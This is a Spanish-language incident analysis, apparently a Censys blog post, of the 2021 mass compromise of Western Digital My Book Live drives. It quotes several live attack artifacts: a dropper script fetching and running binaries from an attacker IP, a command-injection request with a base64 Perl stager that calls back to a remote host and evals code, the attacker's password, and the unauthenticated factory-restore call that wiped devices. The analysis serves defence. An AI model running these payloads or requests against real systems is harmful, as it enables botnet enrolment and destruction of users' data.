¿Cuál es el problema?
Actualizado el 2 de julio @ 1:21 PM EST
El 24 de junio de 2021, BleepingComputer y Ars Technica informaron de que los propietarios de dispositivos Western Digital My Book Live estaban descubriendo que sus particiones de almacenamiento se estaban borrando, lo que significa que años de datos que algunos usuarios han recopilado a lo largo del tiempo (vídeos caseros y fotos, etc.) habían desaparecido inexplicablemente. Algunos usuarios informaron de registros de sus dispositivos que indicaban que se estaba realizando un restablecimiento de fábrica en su dispositivo:
Jun 23 15:51:35 MyBookLive : System ready
Jun 23 15:51:37 MyBookLive logger: WD NAS: Email alerts REST API failed to return Success
Jun 23 15:51:37 MyBookLive : Check if new firmware is available
Jun 23 15:51:38 MyBookLive logger: Starting orion services: miocrawlerd, mediacrawlerd, communicationmanagerd
Jun 23 15:53:24 MyBookLive factoryRestore.sh: begin script:
Jun 23 15:53:24 MyBookLive shutdown[7899]: shutting down for system reboot
Jun 23 16:02:26 MyBookLive S15mountDataVolume.sh: begin script: start
Jun 23 16:02:29 MyBookLive logger: hostname=MyBookLive
El hilo en los foros de Western Digital sigue recibiendo nuevos mensajes, con un usuario mencionando que su WD My Book Live llegó a una dirección IP bloqueada, que afortunadamente su firewall había mitigado. El usuario informó de que esta dirección IP bloqueada alojaba un script de shell, que parece ser un dropper, que instala y ejecuta una carga secundaria:
#!/bin/sh
n="OFJU"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n do
rm $a
curl -O http://185.153.196.30/$a 12
chmod +x $a
./$a
done
for a in $n do
rm -rf $a
done
rm $0
Dado el comportamiento reportado por el usuario de un My Book Live llegando a un host dropper (controlado por el atacante), parece (aunque es difícil de confirmar sin un dispositivo real) que los dispositivos My Book Live expuestos a Internet están siendo explotados en masa para unirse a una botnet. Un usuario parece confirmar que este es el caso, después de ejecutar la carga útil a través de VirusTotal, que informó de que era parte de la familia de malware Linux.Ngioweb. La información WHOIS de la dirección IP remota que aloja la carga maliciosa (185.153.196.30) indica que el host reside en la República de Moldavia. Una búsqueda de registros DNS inversos (PTR) indica que el host forma parte de "ClouDedic", un supuesto proveedor de servicios en la nube:
El propio sitio web del proveedor de servicios en la nube tiene un certificado caducado desde el 26 de marzo de 2021. Puede que esta no sea la única dirección IP utilizada para soltar la carga útil, pero Censys no tiene conocimiento de direcciones IP adicionales en este momento.
Recopilando los mensajes del foro y el anuncio de Western Digital, parece que el actor o actores se están aprovechando de la vulnerabilidad CVE-2018-18472. En el comunicado de Western Digital, hacen referencia a esta vulnerabilidad e instan a los usuarios de My Book Live a desconectar su dispositivo de Internet. Esta vulnerabilidad fue reportada por primera vez por WizCase en 2018 a través de los investigadores Paulos Yibelo y Daniel Eshetu (sin embargo, una publicación secundaria del informe de investigación de WizCase proporciona mejores detalles - es posible que WizCase desfigurara el exploit en su artículo original para evitar la explotación masiva después de que el artículo ya fuera capturado por otras organizaciones). La vulnerabilidad permite la ejecución remota de comandos sin autenticación a través de una simple petición PUT al endpoint /api/1.0/rest/language_configuration.
Este problema es similar a los eventos de explotación masiva del pasado, como con las vulnerabilidades en Apache Struts. Estos escenarios suelen implicar dos servicios controlados por el atacante y un servidor víctima:
El exploit enviado inicialmente a la víctima My Book Live le ordena descargar un script controlado por el atacante desde un servidor controlado por el atacante, y ejecutarlo. A continuación, el script instala y ejecuta una carga útil, lo que provoca que el servidor víctima (en este caso, un My Book Live) se una a la red de bots. Esta técnica es comúnmente utilizada por bots de Internet que aprovechan vulnerabilidades de inyección de comandos, ya que los scripts más complejos no pueden crearse fácilmente en una sola línea, o puede haber limitaciones de carga útil, como una longitud fija de un campo en particular, cuerpo de solicitud o encabezado. La imagen anterior muestra este escenario probado, con un PoC que demuestra que My Book Live se conecta a un servidor simulado "controlado por un atacante" y revela su cadena de agente de usuario única, que contiene su arquitectura de plataforma (powerpc). En un escenario real, hay un paso adicional en el que el servidor controlado por el atacante envía un script que vuelve al My Book Live, que lo ejecuta (basándose en la carga útil enviada inicialmente, que además intentaría evaluar el resultado del cURL y no simplemente hacer una petición).
Ejecutar el exploit language_configuration endpoint después de que un dispositivo haya sido propiedad de uno de los actores de la amenaza conduce a la angustia, ya que el actor de la amenaza protegió con contraseña el RCE en el caso de que el dispositivo estuviera unido a una botnet. Esto impide que otros actores se hagan con el control del dispositivo desde la botnet, sin conocer la contraseña que coincide con el hash sha1 05951edd7f05318019c4cfafab8e567afe7936d4. Curiosamente, hay otra variante de este mismo bloque de código, en una parte ligeramente diferente de language_configuration.php con un hash diferente: 56f650e16801d38f47bb0eeac39e21a8142d7da1. Esto es interesante sobre todo porque los dos bloques de código se parecen entre sí, pero con hashes diferentes, lo que implica que probablemente procedan del mismo atacante, que evolucionó su hazaña a lo largo del tiempo. Censys también ha observado una modificación similar en un archivo (gestor de errores PHP) llamado accessDenied.php, aunque en ese caso, se añade una shell web directamente al archivo, donde antes no había ninguna vulnerabilidad. La modificación de accessDenied.php se parece a la modificación de language_configuration.php:
function put($urlPath, $queryParams=null, $ouputFormat='xml'){
if(!isset($changes["submit"]) || sha1($changes["submit"]) != "05951edd7f05318019c4cfafab8e567afe7936d4")
{
die();
}
Yendo un poco más allá, gracias a los archivos de registro recuperados del dispositivo, y reportados en una reciente actualización de Ars Technica, el hash 05951edd7f05318019c4cfafab8e567afe7936d4 corresponde a la contraseña p$EFx3tQWoUbFc%B%R$k@. Parece que el atacante no sabía que su contraseña quedaría registrada en texto plano, por lo que sería trivial recuperarla por cualquiera que tenga un dispositivo My Book Live, o que emule uno (un honeypot). Es probable que con el tiempo veamos aparecer también otras contraseñas, a medida que se recuperen más archivos de registro.
Aún más interesante, el archivo de registro contenía el exploit exacto que se envió a un My Book Live, confirmando el flujo de trabajo anterior:
May 9 09:00:04 MyBookLive REST_API[19838]: 192.139.120.28 PARAMETER Language_configuration PUT : language = en_US"); echo dXNlIHN0cmljdDsgdXNlIFNvY2tldDsgIHNvY2tldChTT0NLRVQsUEZfSU5FVCxTT0NLX1NUUkVBTSwoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXSkgb3IgZXhpdCAxOyBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgc2VuZChTT0NLRVQsIlJFUTo2TUJJY0k3bHRHSzduTklmIiwwKTsgbXkgJGxpbmU7IG15ICRjb2RlOyB3aGlsZSAoJGxpbmUgPSA8U09DS0VUPikgeyAgICAgJGNvZGUgPSBqb2luICcnLCRjb2RlLCRsaW5lOyB9IGV2YWwgJGNvZGU7IGlmKCRAKSB7ICAgICBjbG9zZSBTT0NLRVQgb3IgZXhpdCAxOyAgICAgc29ja2V0KFNPQ0tFVCxQRl9JTkVULFNPQ0tfU1RSRUFNLChnZXRwcm90b2J5bmFtZSgndGNwJykpWzJdKSBvciBleGl0IDE7ICAgICBjb25uZWN0KFNPQ0tFVCxwYWNrX3NvY2thZGRyX2luKDExMjgsIGluZXRfYXRvbigiMTkyLjEzOS4xMjAuMjgiKSkpIG9yIGV4aXQgMTsgICAgIHNlbmQoU09DS0VULCJFUlI6JEAiLDApOyAgICAgY2xvc2UgU09DS0VUOyB9IGV4aXQgMDs= | base64 -d | sudo perl >/dev/null 2>/dev/null & exit 0; #
La carga útil se entrega como una cadena base64, se descodifica y se pasa a perl para su ejecución. Esta es una técnica bastante común para entregar una carga útil compleja. Podemos simplemente decodificar la carga codificada en base64 para ver exactamente qué código se ejecutó:
use strict;
use Socket;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "REQ:6MBIcI7ltGK7nNIf", 0 );
my $line;
my $code;
while ( $line = <SOCKET>) { $code = join '', $code, $line; }
eval $code;
if ($@) {
close SOCKET or exit 1;
socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[2] ) or exit 1;
connect( SOCKET, pack_sockaddr_in( 1128, inet_aton("192.139.120.28") ) ) or exit 1;
send( SOCKET, "ERR:$@", 0 );
close SOCKET;
}
exit 0;
Este código parece conectarse a 192.139.120.28 en el puerto 1128 (un servidor de carga útil), y envía lo que parece ser una contraseña. Se espera que el servidor responda con más código, que este script perl ejecuta a continuación. El 29 de junio de 2021, este servidor no respondía en ese puerto. La dirección IP está asociada con morewave.com, un ISP de Canadá.
Sin embargo, esto no explicaría por qué había informes de usuarios que afirmaban que sus particiones habían sido borradas, ni los registros sobre la ejecución de factoryRestore.sh en los dispositivos de los usuarios. Aunque estos atacantes ciertamente tenían acceso para realizar una restauración de fábrica, había pocos motivos para hacerlo, ya que interrumpiría su operación. Censys desensambló el último firmware disponible de Western Digital para My Book Live para ver el sistema de archivos de estos dispositivos. Parece haber una vulnerabilidad de día cero no autenticada con un endpoint llamado system_factory_restore. Este punto final PHP REST tiene código de autenticación comentado (desactivado) en la parte superior (sí, esto es en el último firmware de envío, que era de 2015, ya que estos dispositivos ya no son compatibles con Western Digital). Una simple solicitud POST al punto final system_factory_restore desencadenaría el proceso de restauración de fábrica, con la línea que contiene sysRestoreObj->restore($changes) eventualmente desencadenando el script factoryRestore.sh que fue referenciado en los foros de Western Digital:
function post($urlPath, $queryParams=null, $ouputFormat='xml'){
// if(!authenticateAsOwner($queryParams))
// {
// header("HTTP/1.0 401 Unauthorized");
// return;
// }
parse_str(file_get_contents("php://input"), $changes);
$this->logObj->LogParameters(get_class($this), __FUNCTION__, $changes);
$sysRestoreObj = new SystemFactoryRestore();
$result = $sysRestoreObj->restore($changes);
switch($result){
case 'SUCCESS':
header("HTTP/1.0 201 Created");
break;
case 'BAD_REQUEST':
header("HTTP/1.0 400 Bad Request");
break;
case 'SERVER_ERROR':
default:
header("HTTP/1.0 500 Internal Server Error");
break;
}
$this->logObj->LogData('OUTPUT', get_class($this), __FUNCTION__, $result);
}
En colaboración con Dan Goodin de Ars Technica, que pudo recuperar un archivo de registro de un dispositivo afectado, descubrimos pruebas de la explotación continua de este problema en uno de los archivos de registro mencionados anteriormente:
Jun 16 07:28:41 MyBookLive REST_API[28538]: 23.154.177.131 PARAMETER System_factory_restore POST : erase = format
Jun 16 07:28:42 MyBookLive REST_API[28538]: 23.154.177.131 OUTPUT System_factory_restore POST SUCCESS
Con dos direcciones IP diferentes comprobando de forma similar el estado de la restauración de fábrica utilizando una petición GET algún tiempo después (probablemente el mismo actor, ya que estas direcciones IP son ambos nodos de salida TOR). Esta petición GET no modifica el dispositivo, y simplemente comprueba el estado de un POST emitido previamente al mismo endpoint (que invoca la restauración de fábrica). Sin embargo, debe ser protegida con autenticación:
Jun 16 07:30:20 MyBookLive REST_API[28538]: 185.220.102.250 OUTPUT System_factory_restore GET SUCCESS
...
Jun 16 08:15:00 MyBookLive REST_API[25173]: 162.247.74.27 OUTPUT System_factory_restore GET SUCCESS
En cuanto al motivo para POSTear a este endpoint a escala masiva, se desconoce, pero podría ser un intento de un operador de botnet rival de tomar el control de estos dispositivos o inutilizarlos (es probable que el nombre de usuario y la contraseña se restablezcan a su valor predeterminado de admin/admin, lo que permite a otro atacante tomar el control), o alguien que quería interrumpir de otra manera la botnet que probablemente ha existido durante algún tiempo, ya que estos problemas han existido desde 2015.
En el momento de escribir esto, Censys puede ver 55.348 dispositivos WD My Book Live en Internet basándose en sus certificados expuestos públicamente. Esto nos da una idea del impacto que tiene este problema en la ciberseguridad mundial. Estados Unidos tiene la mayor concentración de hosts expuestos, con algo menos del 30%.
Curiosamente, un número creciente de dispositivos que coincidían con el certificado de Western Digital en la búsqueda de Censys presentaban un certificado genérico debian_lenny algún tiempo después. Tras un análisis más detallado, la imagen del dispositivo WD My Book Live contiene el texto "Debian GNU/Linux 5.0" en /etc/issue, que es Debian Lenny. Profundizando un poco más, podemos encontrar este certificado en el propio dispositivo, y volcar su huella digital, confirmando que, efectivamente, está incorporado en la imagen del dispositivo:
/var/www/Admin/webapp# openssl x509 -in config/server.crt -noout -fingerprint -sha256
SHA256 Fingerprint=8D:FC:DD:A8:3D:FC:CB:8E:84:41:EA:E9:9F:6F:EF:C8:67:40:CE:11:CA:25:9A:16:DF:F2:92:9E:87:E3:D8:01
Por lo tanto, es muy probable que el aumento de certificados debian_lenny con esta huella sha256 implique un compromiso (al menos a través de un restablecimiento de fábrica) al medir los hosts que presentan el certificado en Internet a lo largo del tiempo (el dispositivo parece obtener un certificado firmado por Western Digital tras la configuración inicial mediante la comunicación con un servidor central de Western Digital en wd2go.com). Dado que todos los certificados debian_lenny tienen exactamente la misma huella dactilar de certificado, podemos pivotar sobre la huella dactilar del certificado debian_lenny y encontrar todos los dispositivos que tienen esa huella dactilar. Censys ha observado 13.096 dispositivos que presentan este hash en el momento de escribir esto, frente a los 437 de hace tan sólo 24 horas. Esto puede ser un indicador decente del éxito/impacto de este ataque. Censys continuará monitorizando el progreso de la botnet a medida que nuestro motor de escaneo siga descubriendo hosts adicionales que presenten el certificado debian_lenny. También podemos determinar la distribución de los posibles hosts comprometidos utilizando la función de informes de la búsqueda de Censys . En este caso, Estados Unidos muestra los dispositivos más probablemente comprometidos, con algo menos del 50%.
Por último, al comparar el firmware más reciente de Western Digital My Cloud con el de My Book Live, se observa que cada dispositivo tiene un código similar (en términos de función), pero bases de código completamente distintas, y el primero parece mucho más limpio y mejor diseñado que el segundo (por ejemplo, los archivos PHP de My Book Live contenían muchos bloques de autenticación copiados y pegados, que es un antipatrón que suele dar lugar a fallos de seguridad, mientras que el firmware de My Cloud utilizaba un diseño más moderno basado en la herencia que dificulta que el código posterior "reinvente" la autenticación e introduzca un error).
¿Qué importancia tiene?
Los usuarios domésticos con un My Book Live expuesto a Internet están viendo desaparecer todos sus datos, o están participando sin saberlo en una red de bots. Además, desde que se produjo la pandemia del COVID, muchos usuarios particulares han pasado a utilizar sus redes domésticas, ya que las oficinas corporativas han cerrado y los empleados han empezado a trabajar desde casa. El trabajo a distancia se ha hecho más tangible, pero no está exento de inconvenientes desde el punto de vista de la ciberseguridad. Las empresas con empleados que trabajan desde casa y tienen un Western Digital My Book Live pueden estar expuestas a riesgos debido a este problema, ya que un compromiso del dispositivo My Book Live probablemente implique un riesgo para los dispositivos conectados o puenteados a la misma red en la que vive el dispositivo, como los portátiles corporativos y otros equipos informáticos.
Actualizaciones
2021-06-26 8AM PT: Aclarado el hash de la huella digital del certificado que presentan los dispositivos, y que puede haber múltiples atacantes simultáneos. Censys también ha visto descender el número de dispositivos expuestos de 55.348 a 46.487 (-8.861) que presentan el certificado de Western Digital. Mientras tanto, el número de hosts que presentan el certificado debian_lenny con la huella dactilar 8dfcdda83dfccb8e8441eae99f6fefc86740ce11ca259a16dff2929e87e3d801 ha aumentado de 13.096 a 18.627 (+5.531). Esto implica que aproximadamente el 62% de los dispositivos que Censys ha visto desde que esta entrada de blog fue escrita originalmente hace unas 12 horas han sido probablemente comprometidos, con el resto posiblemente desconectados por sus propietarios (potencialmente pasados por alto por Censys, aunque es poco probable debido a nuestro enfoque multi-sonda/tránsito para el escaneo de Internet para evitar problemas de enrutamiento transitorios).
2021-06-28 8AM PT: Se ha añadido una actualización sobre el código de autenticación comentado en system_factory_restore; se han añadido actualizaciones sobre los hallazgos del firmware My Book Live; también se ha añadido una actualización sobre el control del atacante mediante contraseña protegiendo el RCE. Los recuentos han disminuido a 41.292 (-5.195 desde la última actualización) hosts que presentan el certificado My Book Live, mientras que 17.460 muestran el certificado por defecto debian_lenny (-1.167 desde la última actualización). Con caídas simultáneas en ambos dispositivos presentando los certificados Western Digital y por defecto "debian_lenny", parece que el problema ha sensibilizado a los propietarios de los dispositivos, que podrían estar desconectándolos. Los recuentos originales no se han modificado en el artículo para dar una idea del progreso a medida que se supervisa el problema.
2021-06-29 7AM PT: Añadida información sobre el descubrimiento de la carga útil enviada a los dispositivos My Book Live por medio de Dan Goodin en Ars Technica; añadido un análisis del código de la carga útil y el endpoint al que llegaba. Los dispositivos actuales que muestran el certificado Western Digital son 38.027 (-3.265). Los dispositivos que muestran el certificado por defecto debian_lenny se sitúan en 13.530 (-3.930). Censys estima que el tamaño total de los dispositivos comprometidos es de ambos conjuntos (51.557), ya que es poco probable en este momento que cualquier My Book Live conectado a Internet no haya sido explotado.
2021-07-01 9:30A PT: A fecha de hoy, 36.954 dispositivos presentan el certificado Western Digital (-1.073), mientras que 11.156 presentan el certificado debian_lenny (-2.374).
2021-07-02 10:18A PT: A fecha de hoy, 36.004 dispositivos presentan el certificado Western Digital (-950), mientras que 9.782 presentan el certificado debian_lenny (-1.374).
2021-07-05 4:11P PT: A fecha de hoy, 35.139 dispositivos presentan el certificado Western Digital (-865), mientras que 8.374 presentan el certificado debian_lenny (-1.408).
¿Qué hago al respecto?
- Elimina cualquier dispositivo My Book Live de tu red
- Asegúrese de que los recursos corporativos (ordenadores portátiles, etc.) utilizados en los sitios de los usuarios domésticos están protegidos.
- Censys ASM puede ayudarle a descubrir cualquier dispositivo Western Digital My Book Live probablemente comprometido en su superficie de ataque filtrando la huella digital del certificado anterior.
- Desactive UPnP en su red doméstica (estos dispositivos estaban abriendo puertos para la administración remota mediante UPnP).
- Vea qué puertos y servicios tiene expuestos en su red doméstica o empresarial utilizando https://me.censys.io. Desactive cualquier servicio que no reconozca.
Recursos
